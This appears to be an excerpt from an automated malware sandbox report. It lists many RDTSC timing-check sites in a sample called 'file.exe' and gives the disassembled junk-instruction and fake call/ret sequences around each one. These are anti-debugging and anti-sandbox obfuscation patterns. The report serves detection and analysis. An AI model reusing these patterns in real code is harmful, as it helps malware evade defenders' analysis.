Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A582 second address: 114A58C instructions: 0x00000000 rdtsc 0x00000002 js 00007FB88452E0BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9C7 second address: 114D9D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB234Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9D8 second address: 114D9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB88452E0C7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150480 second address: 115048F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FB884CB2346h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115048F second address: 1150493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150493 second address: 11504C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2355h 0x00000007 jmp 00007FB884CB2359h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11504C9 second address: 11504CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11504CD second address: 11504D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11504D1 second address: 1150506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB88452E0C6h 0x0000000d popad 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB88452E0C3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150E78 second address: 1150E7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150E7E second address: 1150E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11536A6 second address: 11536AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11536AA second address: 11536B4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11536B4 second address: 11536BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11536BA second address: 11536BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11536BE second address: 11536C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115376E second address: 1153773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153773 second address: 1153778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153B5D second address: 1153B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153D2D second address: 1153D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153D31 second address: 1153D3A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11543C0 second address: 11543C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11543C5 second address: 11543CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11545E0 second address: 11545F2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FB884CB2346h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11545F2 second address: 1154602 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11546E5 second address: 11546F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11549BF second address: 11549C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11557A8 second address: 11557B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11557B3 second address: 11557B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158A5C second address: 1158A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11587FB second address: 11587FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158A62 second address: 1158A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB884CB2352h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FB884CB2346h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159F89 second address: 115A005 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FB88452E0B8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FB88452E0B8h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 push 00000000h 0x00000045 mov esi, 547FCE2Ch 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jmp 00007FB88452E0C1h 0x00000053 jnc 00007FB88452E0B6h 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BE05 second address: 115BE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113891 second address: 11138B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB88452E0B8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB88452E0C2h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11138B8 second address: 11138CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2350h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11138CC second address: 11138D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11138D2 second address: 11138DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007FB884CB2346h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11138DE second address: 11138E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DABC second address: 115DB05 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB884CB2348h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D2EFCh], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FB884CB2348h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f add dword ptr [ebp+122D3536h], eax 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FB884CB234Ch 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E9F0 second address: 115E9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E9F4 second address: 115EA08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB884CB234Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DC4C second address: 115DC63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DC63 second address: 115DC69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EA08 second address: 115EA2B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FB88452E0C5h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EA2B second address: 115EAC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB884CB2346h 0x00000009 jmp 00007FB884CB2359h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 sub dword ptr [ebp+122D3058h], edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FB884CB2348h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D3903h] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FB884CB2348h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 pushad 0x00000057 jmp 00007FB884CB234Fh 0x0000005c je 00007FB884CB234Ch 0x00000062 mov dword ptr [ebp+122D2AAEh], esi 0x00000068 popad 0x00000069 and bh, FFFFFFE1h 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DC69 second address: 115DCF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, esi 0x0000000d push edx 0x0000000e call 00007FB88452E0C0h 0x00000013 add ebx, 1F457DA9h 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 and edi, dword ptr [ebp+122D3A83h] 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f jmp 00007FB88452E0C7h 0x00000034 mov eax, dword ptr [ebp+122D0CB5h] 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007FB88452E0B8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 push FFFFFFFFh 0x00000056 mov dword ptr [ebp+122D199Eh], edx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DCF1 second address: 115DCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F98A second address: 115FA11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+12451327h], esi 0x00000010 mov dword ptr [ebp+122D2C64h], ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FB88452E0B8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FB88452E0B8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e pushad 0x0000004f mov dword ptr [ebp+122D3058h], eax 0x00000055 add dword ptr [ebp+122D287Ah], edi 0x0000005b popad 0x0000005c xchg eax, esi 0x0000005d pushad 0x0000005e jmp 00007FB88452E0BFh 0x00000063 jg 00007FB88452E0B8h 0x00000069 popad 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jnp 00007FB88452E0B8h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FA11 second address: 115FA1B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB884CB234Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162AA2 second address: 1162AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162C73 second address: 1162C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167AF7 second address: 1167B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB88452E0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167B01 second address: 1167B92 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FB884CB234Dh 0x00000012 nop 0x00000013 xor edi, 3BF47018h 0x00000019 or di, 3B53h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007FB884CB2348h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov dword ptr [ebp+122D1A84h], edx 0x00000040 jno 00007FB884CB234Eh 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b call 00007FB884CB2348h 0x00000050 pop esi 0x00000051 mov dword ptr [esp+04h], esi 0x00000055 add dword ptr [esp+04h], 0000001Ch 0x0000005d inc esi 0x0000005e push esi 0x0000005f ret 0x00000060 pop esi 0x00000061 ret 0x00000062 xchg eax, esi 0x00000063 jmp 00007FB884CB234Bh 0x00000068 push eax 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167B92 second address: 1167B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165C63 second address: 1165C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C2A second address: 1166C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167B96 second address: 1167B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165C67 second address: 1165C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C2F second address: 1166C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c cld 0x0000000d push dword ptr fs:[00000000h] 0x00000014 or dword ptr [ebp+122D2863h], esi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov ebx, eax 0x00000023 mov edi, dword ptr [ebp+12450B7Ch] 0x00000029 mov eax, dword ptr [ebp+122D0DDDh] 0x0000002f mov edi, dword ptr [ebp+122D3963h] 0x00000035 push FFFFFFFFh 0x00000037 mov dword ptr [ebp+122D1893h], esi 0x0000003d nop 0x0000003e push eax 0x0000003f jmp 00007FB884CB234Ah 0x00000044 pop eax 0x00000045 push eax 0x00000046 pushad 0x00000047 push esi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165C6B second address: 1165C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C7E second address: 1166C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB884CB234Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165C7D second address: 1165C8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165C8F second address: 1165C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB67 second address: 116BB6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AC66 second address: 116AC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB6D second address: 116BBF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007FB88452E0CDh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FB88452E0B8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FB88452E0B8h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 push 00000000h 0x00000049 mov dword ptr [ebp+1244FCABh], edx 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AC6A second address: 116AC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BBF4 second address: 116BBF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AC76 second address: 116AC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BBF9 second address: 116BC15 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB88452E0C2h 0x00000008 jmp 00007FB88452E0BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AD5B second address: 116AD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB884CB234Dh 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CB71 second address: 116CBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB88452E0BEh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1A84h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FB88452E0B8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D2E6Eh], ecx 0x00000036 push 00000000h 0x00000038 pushad 0x00000039 mov esi, dword ptr [ebp+122D1BAAh] 0x0000003f xor ebx, 0B8174B1h 0x00000045 popad 0x00000046 mov di, 871Ch 0x0000004a push eax 0x0000004b pushad 0x0000004c push edx 0x0000004d jmp 00007FB88452E0C8h 0x00000052 pop edx 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CBE9 second address: 116CBEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174231 second address: 1174237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174237 second address: 117423D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117423D second address: 1174247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11743C1 second address: 11743C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
